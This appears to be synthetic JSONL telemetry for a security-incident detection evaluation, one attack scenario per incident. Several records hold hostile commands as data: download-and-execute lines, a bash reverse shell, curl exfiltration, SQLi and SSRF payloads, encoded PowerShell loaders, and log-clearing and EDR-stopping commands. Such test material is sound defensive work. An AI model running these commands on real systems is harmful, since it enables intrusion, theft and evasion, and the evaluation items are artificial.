+{"incident_id": "INC-EVAL-137", "template_id": "smb-share-enumeration", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-EDGE-VPN02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net.exe view /domain"}
+{"incident_id": "INC-EVAL-137", "template_id": "smb-share-enumeration", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "WIN-FILE-SHARE", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\*", "IpAddress": "LIN-EDGE-VPN02", "EventCount": 256}
+{"incident_id": "INC-EVAL-138", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "MAC-LEGAL-LAPTOP", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "LIN-DB-REPLICA", "LogonProcessName": "NtLmSsp"}
+{"incident_id": "INC-EVAL-138", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "MAC-LEGAL-LAPTOP", "Source": "LIN-DB-REPLICA", "User": "[email protected]", "threat_actor": "MagicWeb"}
+{"incident_id": "INC-EVAL-139", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AWS-EC2-PROD-API", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "WIN-EXCHANGE-01", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}
+{"incident_id": "INC-EVAL-140", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-CFO-LAPTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}
+{"incident_id": "INC-EVAL-141", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "WIN-DC-PRIMARY", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}
+{"incident_id": "INC-EVAL-142", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}
+{"incident_id": "INC-EVAL-142", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-143", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.23.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-DC-PRIMARY", "dst_ip": "198.51.100.23", "response_size": 512, "qps": 240}
+{"incident_id": "INC-EVAL-144", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-PROD-WEB02", "requestParameters": {"bucketName": "atk-stage-185.220.101.7", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"}]}
+{"incident_id": "INC-EVAL-145", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "AWS-EC2-PROD-API", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}
+{"incident_id": "INC-EVAL-146", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "GCP-GKE-NODE-04", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}
+{"incident_id": "INC-EVAL-146", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Scattered Spider"}
+{"incident_id": "INC-EVAL-147", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-DEVOPS-LT", "DestinationIp": "198.51.100.23", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}
+{"incident_id": "INC-EVAL-148", "template_id": "ransomware-encryption", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "LIN-DB-REPLICA", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc", "User": "[email protected]", "rename_rate_per_min": 4200}
+{"incident_id": "INC-EVAL-148", "template_id": "ransomware-encryption", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "LIN-DB-REPLICA", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-Emotet epoch 5.txt", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-148", "template_id": "ransomware-encryption", "event_index": 2, "source": "edr", "rule": "Ransomware behaviour: high-rate file rename + ransom note", "severity": "critical", "Computer": "LIN-DB-REPLICA", "threat_actor": "Emotet epoch 5"}
+{"incident_id": "INC-EVAL-149", "template_id": "xmrig-cryptominer", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/xmrig", "a0": "xmrig", "a1": "-o", "a2": "10.0.99.42:5555", "hostname": "MAC-LEGAL-LAPTOP", "cpu_pct": 95}
+{"incident_id": "INC-EVAL-150", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "WIN-FILE-SHARE", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "APT29"}
+{"incident_id": "INC-EVAL-151", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}
+{"incident_id": "INC-EVAL-151", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}
+{"incident_id": "INC-EVAL-152", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-153", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://MAC-CFO-LAPTOP/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}
+{"incident_id": "INC-EVAL-154", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\WIN-EXCHANGE-01\\export\\[email protected]"}, "Bytes": 8300000000}
+{"incident_id": "INC-EVAL-155", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-DC-SECONDARY", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}
+{"incident_id": "INC-EVAL-155", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "45.142.122.111", "DestinationPort": 443}
+{"incident_id": "INC-EVAL-156", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "45.142.122.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}
+{"incident_id": "INC-EVAL-156", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}
+{"incident_id": "INC-EVAL-157", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "WIN-PROD-WEB02", "imds_version": "v1"}
+{"incident_id": "INC-EVAL-157", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}
+{"incident_id": "INC-EVAL-158", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}
+{"incident_id": "INC-EVAL-158", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "seconds_after_reset": 87}
+{"incident_id": "INC-EVAL-159", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "10.0.99.42", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}
+{"incident_id": "INC-EVAL-160", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "AZURE-VM-FIN-001"}
+{"incident_id": "INC-EVAL-160", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "AZURE-VM-FIN-001", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}
+{"incident_id": "INC-EVAL-161", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "LockBit 3.0"}
+{"incident_id": "INC-EVAL-162", "template_id": "linux-journald-tampering", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/journalctl", "a0": "journalctl", "a1": "--rotate", "a2": "--vacuum-time=1s", "hostname": "WIN-PROD-WEB02", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-163", "template_id": "compromised-ci-runner", "event_index": 0, "source": "github_audit", "action": "workflow_run.requested", "workflow": "deploy.yml", "actor": "external-contrib", "repository": "aisoc/web", "event": "pull_request", "runner": "AZURE-VM-FIN-001"}
+{"incident_id": "INC-EVAL-163", "template_id": "compromised-ci-runner", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/curl", "a1": "-X", "a2": "POST", "a3": "https://172.16.50.7/exfil", "hostname": "AZURE-VM-FIN-001", "user": "ci-runner", "secret_detected": true}
+{"incident_id": "INC-EVAL-164", "template_id": "vpn-new-geography", "event_index": 0, "source": "vpn", "action": "login_success", "user": "[email protected]", "src_ip": "10.0.99.42", "geo_country": "UA", "first_login_country": true}
+{"incident_id": "INC-EVAL-164", "template_id": "vpn-new-geography", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "LIN-EDGE-VPN02", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\IPC$", "IpAddress": "10.0.99.42", "EventCount": 128}
+{"incident_id": "INC-EVAL-165", "template_id": "service-account-privileged-command", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "K8S-PROD-CLUSTER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security", "LogonType": 5}
+{"incident_id": "INC-EVAL-166", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "203.0.113.45", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}
+{"incident_id": "INC-EVAL-166", "template_id": "phishing-macro-email", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "Image": "C:\\Windows\\System32\\cmd.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"}
+{"incident_id": "INC-EVAL-166", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "threat_actor": "Emotet epoch 5"}
+{"incident_id": "INC-EVAL-167", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://AZURE-VM-FIN-001/search?q=' OR 1=1--", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}
+{"incident_id": "INC-EVAL-167", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 1, "source": "web_access", "http_method": "GET", "url": "https://AZURE-VM-FIN-001/proxy?u=http://169.254.169.254/latest/meta-data/", "status_code": 200, "src_ip": "198.51.100.23", "user_agent": "curl/8.4.0", "rule_match": "WAF:SSRF:2007"}
+{"incident_id": "INC-EVAL-168", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//172.16.50.7/x.js></script>"}
+{"incident_id": "INC-EVAL-168", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "ALPHV/BlackCat"}
+{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "WIN-PROD-WEB02", "user": "ci-runner"}
+{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}
+{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "WIN-PROD-WEB02", "User": "ci-runner", "dest_ip": "91.134.231.15", "dest_port": 4444}
+{"incident_id": "INC-EVAL-170", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "AWS-EC2-PROD-API", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}
+{"incident_id": "INC-EVAL-170", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}
+{"incident_id": "INC-EVAL-171", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}
+{"incident_id": "INC-EVAL-171", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}
+{"incident_id": "INC-EVAL-172", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}
+{"incident_id": "INC-EVAL-172", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "Volt Typhoon"}
+{"incident_id": "INC-EVAL-173", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://192.168.1.100/p.exe %TEMP%\\p.exe"}
+{"incident_id": "INC-EVAL-173", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "192.168.1.100", "DestinationPort": 80, "Protocol": "tcp"}
+{"incident_id": "INC-EVAL-174", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://WIN-DC-SECONDARY:2375/containers/create", "status_code": 201, "src_ip": "198.51.100.23", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}
+{"incident_id": "INC-EVAL-174", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "WIN-DC-SECONDARY", "user": "root"}
+{"incident_id": "INC-EVAL-175", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "MAC-CFO-LAPTOP", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}
+{"incident_id": "INC-EVAL-175", "template_id": "wmi-event-subscription", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 21, "Computer": "MAC-CFO-LAPTOP", "Operation": "Created", "Name": "UpdaterConsumer", "Type": "CommandLineEventConsumer", "Destination": "powershell.exe -enc <encoded>"}
+{"incident_id": "INC-EVAL-176", "template_id": "registry-run-persistence", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"}
+{"incident_id": "INC-EVAL-176", "template_id": "registry-run-persistence", "event_index": 1, "source": "edr", "rule": "Persistence: Registry Run with revoked-cert signed binary", "severity": "high", "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "threat_actor": "APT29"}
+{"incident_id": "INC-EVAL-177", "template_id": "scheduled-task-persistence", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4698, "Computer": "WIN-DC-SECONDARY", "SubjectUserName": "[email protected]", "TaskName": "\\Microsoft\\Windows\\UpdaterTask", "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"}
+{"incident_id": "INC-EVAL-177", "template_id": "scheduled-task-persistence", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Windows\\System32\\schtasks.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-178", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "MAC-CFO-LAPTOP", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}
+{"incident_id": "INC-EVAL-178", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "MAC-CFO-LAPTOP", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}
+{"incident_id": "INC-EVAL-179", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "LIN-BUILD-CI03", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}
+{"incident_id": "INC-EVAL-179", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/10.0.99.42/4444 0>&1)", "hostname": "LIN-BUILD-CI03"}
+{"incident_id": "INC-EVAL-180", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "LIN-BUILD-CI03", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}
+{"incident_id": "INC-EVAL-180", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-BUILD-CI03", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}
+{"incident_id": "INC-EVAL-181", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "WIN-DC-SECONDARY"}
+{"incident_id": "INC-EVAL-181", "template_id": "k8s-privileged-pod-escape", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/bin/sh", "path": "/host/etc/shadow", "hostname": "WIN-DC-SECONDARY", "user": "root"}
+{"incident_id": "INC-EVAL-182", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "WIN-DC-SECONDARY", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-182", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "WIN-DC-SECONDARY", "uid": 1001, "euid": 0, "user": "[email protected]"}
+{"incident_id": "INC-EVAL-183", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "WIN-FILE-SHARE", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": "C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}
+{"incident_id": "INC-EVAL-183", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-FILE-SHARE", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "192.168.1.100", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}
+{"incident_id": "INC-EVAL-183", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "WIN-FILE-SHARE", "threat_actor": "ALPHV/BlackCat"}
+{"incident_id": "INC-EVAL-184", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "LIN-EDGE-VPN02", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}
+{"incident_id": "INC-EVAL-184", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-EDGE-VPN02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}
+{"incident_id": "INC-EVAL-185", "template_id": "disable-edr-tooling", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-K8S-NODE01", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop CSAgent"}
